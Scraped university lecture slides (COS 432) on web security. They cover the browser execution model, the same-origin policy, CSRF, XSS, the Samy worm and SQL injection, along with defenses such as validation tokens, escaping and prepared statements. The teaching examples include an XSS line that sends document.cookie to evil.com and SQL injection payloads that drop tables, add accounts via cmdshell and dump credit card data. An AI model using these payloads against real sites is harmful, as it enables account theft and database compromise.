Cos 432 web_security

WEB SECURITY
[based on slides by Dan Boneh, Collin Jackson, John Mitchell, Arvind Narayanan, and Vitaly Shmatikov]

Browser and Network
Browser
Network
OS
Hardware
websiterequest
reply

Two Sides of Web Security
• Web browser
– Can be attacked by any website it visits
– Attacks lead to malware installation (keyloggers,
botnets), document theft, loss of private data
• Web application
– Runs at website
• Banks, online merchants, blogs, Google Apps, many
others
– Written in PHP, ASP, JSP, Ruby, …
– Many potential bugs: CSRF, CSS, SQL injection
– Attacks lead to stolen credit cards, defaced sites,
mayhem slide 3

• Runs on a Web server or application server
• Takes input from Web users (via Web server)
• Interacts with back-end databases and third
parties
• Prepares and outputs results for users (via
Web server)
– Dynamically generated HTML pages
– Contain content from many different sources, often
including regular users
• Blogs, social networks, photo-sharing websites…
Typical Web Application Design

Web Attacker
• Controls malicious website (attacker.com)
– Can even obtain SSL/TLS certificate for his site
($0)
• User visits attacker.com – why?
– Phishing email, enticing content, search results,
placed by ad network, blind luck …
• Attacker has no other access to user
machine!
• Variation: gadget attacker
– Bad gadget included in otherwise honest mashup
(EvilMaps.com)
slide 5

Other Web Threat Models
• Network attacker
– Passive: wireless eavesdropper
– Active: evil router, DNS poisoning
• Malware attacker
– Attacker controls user’s machine – how?
– Exploit application bugs (e.g., buffer
overflow)
– Convince user to install malicious content –
how?
• Masquerade as an antivirus program, codec for a
new video format, etc.
slide 6

OS vs. Browser Analogies
• Primitives
– System calls
– Processes
– Disk
• Principals: Users
– Discretionary access control
• Vulnerabilities
– Buffer overflow
– Root exploit
• Primitives
– Document object model
– Frames
– Cookies / localStorage
• Principals: “Origins”
– Mandatory access control
• Vulnerabilities
– Cross-site scripting
– Universal scripting
Operating system Web browser
slide 7

Browser: Basic Execution Model
• Each browser window or frame
– Loads content
– Renders
• Processes HTML and scripts to display the page
• May involve images, subframes, etc.
– Responds to events
• Events
– User actions: OnClick, OnMouseover
– Rendering: OnLoad
– Timing: setTimeout(), clearTimeout()
slide 8

HTML and Scripts
<html>
…
<p> The script on this page adds two numbers
<script>
var num1, num2, sum
num1 = prompt("Enter first number")
num2 = prompt("Enter second number")
sum = parseInt(num1) + parseInt(num2)
alert("Sum = " + sum)
</script>
…
</html>
Browser receives content,
displays HTML and executes scripts
slide 9

Event-Driven Script Execution
<script type="text/javascript">
function whichButton(event) {
if (event.button==1) {
alert("You clicked the left mouse button!") }
else {
alert("You clicked the right mouse button!")
}}
</script>
…
<body onmousedown="whichButton(event)">
…
</body>
Function gets executed
when some event happens
Other events:
onLoad, onMouseMove, onKeyPress, onUnLoad
slide 11
Script defines a
page-specific function

JavaScript
• Language executed by browser
– Scripts are embedded in Web pages
– Can run before HTML is loaded, before page is viewed,
while it is being viewed or when leaving the page
• Used to implement “active” web pages
– AJAX, huge number of Web-based applications
• Many security and correctness issues
– Attacker gets to execute some code on user’s machine
– Often used to exploit other vulnerabilities
• “The world’s most misunderstood prog. language”

JavaScript History
• Developed by Brendan Eich at Netscape
– Scripting language for Navigator 2
• Later standardized for browser
compatibility
– ECMAScript Edition 3 (aka JavaScript 1.5)
• Related to Java in name only
– Name was part of a marketing deal
– “Java is to JavaScript as car is to carpet”

Common Uses of JavaScript
• Form validation
• Page embellishments and special effects
• Navigation systems
• Basic math calculations
• Dynamic content manipulation
• Hundreds of applications
– Dashboard widgets in Mac OS X, Google
Maps, Philips universal remotes, Writely word
processor …

JavaScript in Web Pages
• Embedded in HTML page as <script> element
– JavaScript written directly inside <script> element
• <script> alert("Hello World!") </script>
– Linked file as src attribute of the <script> element
<script type="text/JavaScript"
src=“functions.js"></script>
• Event handler attribute
<a href="http://www.yahoo.com"
onmouseover="alert('hi');">
• Pseudo-URL referenced by a link
<a href=“JavaScript: alert(‘You clicked’);”>Click me</a>

JavaScript Security Model
• Script runs in a “sandbox”
– No direct file access, restricted network access
• Same-origin policy
– Can only read properties of documents and
windows from the same server, protocol, and
port
– If the same server hosts unrelated sites, scripts
from one site can access document properties on
the other
• User can grant privileges to signed scripts
– UniversalBrowserRead/Write, UniversalFileRead,
UniversalSendMail

Library Import
• Same-origin policy does not apply to
scripts loaded in enclosing frame from
arbitrary site
• This script runs as if it were loaded from
the site that provided the page!
<script type="text/javascript">
src="http://www.example.com/scripts/somescript.js">
</script>
slide 18

Document Object Model (DOM)
• HTML page is structured data
• DOM provides representation of this hierarchy
• Examples
– Properties: document.alinkColor, document.URL,
document.forms[ ], document.links[ ],
document.anchors[ ], …
– Methods: document.write(document.referrer)
• These change the content of the page!
• Also Browser Object Model (BOM)
– Window, Document, Frames[], History, Location,
Navigator (type and version of browser)
slide 19

Browser and Document Structure
W3C standard differs from models
supported in existing browsers
slide 20

Reading Properties with JavaScript
Sample script
– Example 1 returns "ul"
– Example 2 returns "null"
– Example 3 returns "li"
– Example 4 returns "text"
• A text node below the "li" which holds the actual text data as its value
– Example 5 returns " Item 1 "
1. document.getElementById('t1').nodeName
2. document.getElementById('t1').nodeValue
3. document.getElementById('t1').firstChild.nodeName
4. document.getElementById('t1').firstChild.firstChild.nodeName
5. document.getElementById('t1').firstChild.firstChild.nodeValue
<ul id="t1">
<li> Item 1 </li>
</ul>
Sample HTML

Page Manipulation with JavaScript
• Some possibilities
– createElement(elementName)
– createTextNode(text)
– appendChild(newChild)
– removeChild(node)
• Example: add a new list item
var list = document.getElementById('t1')
var newitem = document.createElement('li')
var newtext = document.createTextNode(text)
list.appendChild(newitem)
newitem.appendChild(newtext)
<ul id="t1">
<li> Item 1 </li>
</ul>
Sample HTML

Frame and iFrame
• Window may contain frames from different
sources
– Frame: rigid division as part of frameset
– iFrame: floating inline frame
• Why use frames?
– Delegate screen area to content from another source
– Browser provides isolation based on frames
– Parent may work even if frame is broken
<IFRAME SRC="hello.html" WIDTH=450 HEIGHT=100>
If you can see this, your browser doesn't understand IFRAME.
</IFRAME>
slide 23

Cookies
ServerBrowser
slide 24
On later access to same origin,
send a copy of the cookie
Server sends cookie

Cookie-Based Authentication
ServerBrowser
slide 25

Three Example Attacks
1. Cross-site request forgery (CSRF)
2. Cross-site scripting (CSS)
3. SQL injection

CSRF: Cross-Site Request Forgery
• Same browser runs a script from a “good”
site and a malicious script from a “bad” site
– How could this happen?
– Requests to “good” site are authenticated by
cookies
• Malicious script can make forged requests to
“good” site with user’s cookie
– Netflix: change acct settings, Gmail: steal
contacts
– Potential for much bigger damage (think
banking)

XSRF (aka CSRF): Basic Idea
Attack server
Server victim
User victim
1
2
4
Q: how long do you stay logged on to Gmail?
slide 29

CSRF Defenses
• Secret validation token
• Referer validation
• Custom HTTP header
<input type=hidden value=23a3af01b>
Referer:
http://www.facebook.com/home.php
X-Requested-By: XMLHttpRequest
slide 32

Secret, Random Validation Token
• Hash of user ID
– Can be forged by attacker
• Session ID
– If attacker has access to HTML of the Web page
(how?), can learn session ID and hijack the session
• Session-independent nonce – Trac
– Can be overwritten by subdomains, network attackers
• Need to bind session ID to the token
– CSRFx, CSRFGuard - Manage state table at the server
– HMAC (keyed hash) of session ID – no extra state!
<input type=hidden value=23a3af01b>
slide 33

Referer Validation
• Lenient referer checking – header is optional
• Strict referer checking – header is required
Referer:
http://www.facebook.com/home.php
Referer:
http://www.evil.com/attack.html
Referer:


?
slide 34

CSRF Recommendations
• Login CSRF
– Strict referer validation
– Login forms typically submit over HTTPS, not
blocked
• HTTPS sites, such as banking sites
– Strict referer validation
• Other sites
– Use Ruby-on-Rails or other framework that
implements secret token method correctly
• Several solutions proposed
– For example, another type of header
slide 35

Three Example Issues
1. Cross-site request forgery (CSRF)
2. Cross-site scripting (CSS)
3. SQL injection

Echoing User Input
• Classic mistake in a server-side application
http://naive.com/search.php?term=“Britney Spears”
search.php responds with
<html> <title>Search results</title>
<body>You have searched for <?php echo $_GET[term] ?>… </body>
Or
GET/ hello.cgi?name=Bob
hello.cgi responds with
<html>Welcome, dear Bob</html>

Cross-Site Scripting: Basic Idea
Attack server
Server victim
User victim
1
2
5
slide 38

XSS: Cross-Site Scripting
victim’s
browser naive.comevil.com
Access some web page
<FRAME SRC=
http://naive.com/hello.cgi?
name=<script>win.open(
“http://evil.com/steal.cgi?
cookie=”+document.cookie)
</script>>
Forces victim’s browser to
call hello.cgi on naive.com
with this script as “name”
GET/ hello.cgi?name=
<script>win.open(“http://
evil.com/steal.cgi?cookie”+
document.cookie)</script> hello.cgi
executed
<HTML>Hello, dear
<script>win.open(“http://
evil.com/steal.cgi?cookie=”
+document.cookie)</script>
Welcome!</HTML>
Interpreted as Javascript
by victim’s browser;
opens window and calls
steal.cgi on evil.com
GET/ steal.cgi?cookie=
E.g., URL embedded
in HTML email
hello.cgi

So What?
• Why would user click on such a link?
– Phishing email in webmail client (e.g., Gmail)
– Link in DoubleClick banner ad
– … many many ways to fool user into clicking
• So what if evil.com gets cookie for naive.com?
– Cookie can include session authenticator for
naive.com
• Or other data intended only for naive.com
– Violates the “intent” of the same-origin policy
slide 40

• CSS is a form of “reflection attack”
– User is tricked into visiting a badly written website
– A bug in website code causes it to display and the
user’s browser to execute an arbitrary attack script
• Can change contents of the affected website
by manipulating DOM components
– Show bogus information, request sensitive data
– Control form fields on this page and linked pages
• For example, phishing attack injects password field that
sends password to bad guy
• Can cause user’s browser to attack other
websites
Other CSS Risks

CSS defenses
1. Escaping of output
<script>
post(evil.com,document.cookie)
</script>
2. Sanitization of input
Strip out tags altogether

Case study: The Samy worm
Samy Kamkar
Target: MySpace profiles
Vector: MySpace profiles
Year: 2005
Damage: none
Response: United States Secret Service

Step 1
Problem (for attacker): MySpace blocks
(sanitizes) most tags in profiles including
<script>
IE allows JS within CSS tags (oops)
<div style="background:url('javascript:alert(1)')">

Step 2
Problem: Couldn't use quotes within the div
because -- already used up single quotes and
double quotes.
Used an expression to store the JS and then
executed it by name
<div id="mycode" expr="alert('hah!')"
style="background:url('javascript:eval
(document.all.mycode.expr)')">

Step 3
However, MySpace strips out the word
"javascript“
Some browsers will actually interpret
"javanscript" as "javascript" (that's
java<NEWLINE>script).

Step 4
Okay, while we do have single quotes working,
we sometimes NEED double quotes.
Convert decimal to ASCII in javascript to actually
produce the quotes
<div id="mycode" expr="alert('double quote: ' +
String.fromCharCode(34))" style="background:url('java
script:eval(document.all.mycode.expr)')">

SQL
• Widely used database query language
• Fetch a set of records
SELECT * FROM Person WHERE Username=‘bob’
• Add data to the table
INSERT INTO Key (Username, Key) VALUES (‘bob’, 3611BBFF)
• Modify data
UPDATE Keys SET Key=FA33452D WHERE PersonID=5
• Query syntax (mostly) independent of
vendor
slide 49

Some Flawed Code
• Sample PHP
$selecteduser = $_GET['user'];
$sql = "SELECT Username, Key FROM Key " .
"WHERE Username='$selecteduser'";
$rs = $db->executeQuery($sql);
• What if ‘user’ is a malicious string that
changes the meaning of the query?
slide 50

SQL Injection: Basic Idea
Victim server
Victim SQL DB
Attacker
unintended
query
receive valuable data
1
2
3
slide 51
u This is an input validation vulnerability
Unsanitized user input in SQL query to back- end
database changes the meaning of query
u Specific case of more general command
injection

Enter
Username
&
Password
User Input Becomes Part of Query
Web
server
Web
browser
(Client)
DB
SELECT passwd
FROM USERS
WHERE uname
IS ‘$user’
slide 53

Enter
Username
&
Password
Normal Login
Web
server
Web
browser
(Client)
DB
SELECT passwd
FROM USERS
WHERE uname
IS ‘smith’
slide 54

Enter
Username
&
Password
SQL Injection Attack
Web
server
Web
browser
(Client)
DB
SELECT passwd
FROM USERS
WHERE uname
IS ‘’; DROP TABLE
USERS; -- `
slide 56
Eliminates all user
accounts

Exploits of a Momhttp://xkcd.com/327/

Authentication with Back-End DB
• set UserFound=execute(
“SELECT * FROM UserTable WHERE
username=‘ ” & form(“user”) & “ ′ AND
password= ‘ ” & form(“pwd”) & “ ′ ” );
– User supplies username and password, this SQL
query checks if user/password combination is in
the database
• If not UserFound.EOF
Authentication correct
else Fail
Only true if the result of SQL
query is not empty, i.e.,
user/pwd is in the database

Using SQL Injection to Steal Data
• User gives username ′ OR 1=1 --
• Web server executes query
set UserFound=execute(
SELECT * FROM UserTable WHERE
username=‘ ′ OR 1=1 -- … );
– Now all records match the query
• This returns the entire database!
Always true! Everything after -- is ignored!

Another SQL Injection Example
• To authenticate logins, server runs this SQL
command against the user database:
SELECT * WHERE user=‘name’ AND
pwd=‘passwd’
• User enters ’ OR WHERE pwd LIKE `% as
both name and passwd
• Server executes
SELECT * WHERE user=‘’ OR WHERE pwd LIKE
`%’ AND pwd=‘’ OR WHERE pwd LIKE `%’
• Logs in with the credentials of the first person
in the database (typically, administrator!)
[From “The Art of Intrusion”]
Wildcard matches any password

Worse Yet …
• User gives username
′ exec cmdshell ’net user badguy badpwd’ / ADD --
• Web server executes query
set UserFound=execute(
SELECT * FROM UserTable WHERE
username=‘ ′ exec … -- … );
• Creates an account for badguy on DB
server

Pull Data From Other Databases
• User gives username
’ AND 1=0
UNION SELECT cardholder, number,
exp_month, exp_year FROM creditcards
• Results of two queries are combined
• Empty table from the first query is
displayed together with the entire
contents of the credit card database
slide 62

More Attacks
• Create new users
’; INSERT INTO USERS
(‘uname’,‘passwd’,‘salt’)
VALUES (‘hacker’,‘38a74f’, 3234);
• Password reset
’; UPDATE USERS SET
email=hcker@root.org WHERE
email=victim@yahoo.com
slide 63

Preventing SQL Injection
• Input validation
– Filter
• Apostrophes, semicolons, percent symbols, hyphens,
underscores, …
• Any character that has special meanings
– Check the data type (e.g., make sure it’s an
integer)
• Whitelisting
– Blacklisting “bad” characters doesn’t work
• Forget to filter out some characters
• Could prevent valid input (e.g., last name O’Brien)
– Allow only well-defined set of safe values
• Set implicitly defined through regular expressions
slide 64

Escaping Quotes
• For valid string inputs use escape
characters to prevent the quote becoming
part of the query
– Example: escape(o’connor) = o’’connor
– Convert ’ into ’
– Only works for string inputs
– Different databases have different rules for
escaping
slide 65

Prepared Statements
• Metacharacters (e.g. ’) in queries provide
distinction between data and control
• In most injection attacks data are
interpreted as control – this changes the
semantics of a query or a command
• Bind variables: ? placeholders guaranteed
to be data (not control)
• Prepared statements allow creation of
static queries with bind variables →
preserves the structure of intended query
slide 66

Prepared Statement: Example
PreparedStatement ps =
db.prepareStatement("SELECT pizza, toppings, quantity, order_day "
+ "FROM orders WHERE userid=? AND order_month=?");
ps.setInt(1, session.getCurrentUserId());
ps.setInt(2, Integer.parseInt(request.getParamenter("month")));
ResultSet res = ps.executeQuery();
Bind variable: data
placeholder
• Query parsed without parameters
• Bind variables are typed (int, string, …)
slide 67
http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html

Mitigating Impact of Attack
• Prevent leakage of database schema and
other information
• Limit privileges (defense in depth)
• Encrypt sensitive data stored in database
• Harden DB server and host OS
• Apply input validation
slide 68

Cos 432 web_security

More Related Content

Viewers also liked (9)

Similar to Cos 432 web_security (20)

Cos 432 web_security